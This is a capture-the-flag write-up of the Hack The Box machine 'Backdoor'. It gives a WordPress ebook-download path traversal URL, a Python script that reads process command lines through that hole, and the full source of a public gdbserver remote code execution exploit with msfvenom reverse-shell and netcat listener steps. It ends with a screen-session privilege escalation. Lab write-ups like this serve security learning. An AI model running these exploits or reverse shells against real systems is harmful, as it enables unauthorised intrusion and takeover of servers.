Backdoor

Backdoor is an easy rated box which teaches you about exploiting WordPress plugins and searching data about processes in a curious way.

First, let's run nmap (Note: running all ports since one service will not show up on regular scan)

sudo nmap -T4 -p- 10.129.142.92 

We can see that there is three ports open:

backdoor-nmap

So, 22 is for ssh, 1337 we have no idea (yet) and port 80 is a http-server. Let's start on port 80. First, add backdoor.htb to /etc/hosts file and open http://backdoor.htb on a browser.

backdoor-wordpress

It looks like a default WordPress theme to me, nothing interesting there at first glance. on http://backdoor.htb/wp-content/plugins/ theres something interesting, you can see the folder structure and there is an old plugin called "ebook-download". After quick googling it seems like there is a file traversal exploit on that plugin! You can read files the web-server runner has access to via adding a query param.

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

My first instinct was to read wp-config.php since it contains username and password to database but since sql is not an open to remote there was no luck. Also, the username/password combo didn't match to wp-admin panel.

So, back to square one, but how about that service on port 1337? We could read process files on server and figure out what's running on that port! Let's do that!

I created a simple script that loops PID-numbers and reads their cmdline arguments, heres the code:

import requests

def getContents(pid):
    data = requests.get('http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/../../../../../../../proc/'+str(pid)+'/cmdline')
    text = data.text.strip('/../../../../../../../proc/'+str(pid)+'/cmdline/../../../../../../../proc/'+str(pid)+'/cmdline/../../../../../../../proc/'+str(pid)+'/cmdline<').strip('script>window.close()</script>')
    if text:
        print(str(pid) +' ' +text)

for x in range(0,2000):
    getContents(x)

Save the script as procChecker.py and run it:

python3 procChecker.py
....
883 b/systemd/systemd-resolved
932 usr/sbin/cron-f
939 usr/sbin/atd-f
940 usr/sbin/CRON-f
941 usr/sbin/CRON-f
951 bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
952 bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
967 hd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

As you can see, we now know that gdbserver is the process running on port 1337! After a quick googling about gdbserver exploits I stumbled upon exploit-db and found a working exploit to gain shell to the server! For convineance here is source code of the exploit with a tutorial:

# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)

#!/usr/bin/env python3

import binascii
import socket
import struct
import sys

help = f'''
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>

Example:
- Victim's gdbserver   ->  10.10.10.200:1337
- Attacker's listener  ->  10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.59 LPORT=9001 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
'''

def checksum(s: str) -> str:
    res = sum(map(ord, s)) % 256
    return f'{res:2x}'

def ack(sock):
    sock.send(b'+')

def send(sock, s: str) -> str:
    sock.send(f'${s}#{checksum(s)}'.encode())
    res = sock.recv(1024)
    ack(sock)
    return res.decode()

def exploit(sock, payload: str):
    send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')
    send(sock, '!')

    try:
        res = send(sock, 'vCont;s')
        data = res.split(';')[2]
        arch, pc = data.split(':')
    except Exception:
        print('[!] ERROR: Unexpected response. Try again later')
        exit(1)

    if arch == '10':
        print('[+] Found x64 arch')
        pc = binascii.unhexlify(pc[:pc.index('0*')])
        pc += b'\0' * (8 - len(pc))
        addr = hex(struct.unpack('<Q', pc)[0])[2:]
        addr = '0' * (16 - len(addr)) + addr
    elif arch == '08':
        print('[+] Found x86 arch')
        pc = binascii.unhexlify(pc)
        pc += b'\0' * (4 - len(pc))
        addr = hex(struct.unpack('<I', pc)[0])[2:]
        addr = '0' * (8 - len(addr)) + addr

    hex_length = hex(len(payload))[2:]

    print('[+] Sending payload')
    send(sock, f'M{addr},{hex_length}:{payload}')
    send(sock, 'vCont;c')

def main():
    if len(sys.argv) < 3:
        print(help)
        exit(1)

    ip, port = sys.argv[1].split(':')
    file = sys.argv[2]

    try:
        with open(file, 'rb') as f:
            payload = f.read().hex()
    except FileNotFoundError:
        print(f'[!] ERROR: File {file} not found')
        exit(1)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        print(ip)
        sock.connect((ip, int(port)))
        print('[+] Connected to target. Preparing exploit')
        exploit(sock, payload)
        print('[*] Pwned!! Check your listener')

if __name__ == '__main__':
    main()

That gives us a shell as user! Grab the user.txt and let's move on.

The root part was actually quite simple, after running ps -aux command we find out that root is running a process with screen!

backdoor-ps-aux

I didn't think about it too much since on a previous box I had similiar priv esc that involved tmux so I just googled how to join a screen-session and found a good answer from Stackoverflow. So, simply put: run

screen -x root/root 

And you join to root session and are root! GRATZ!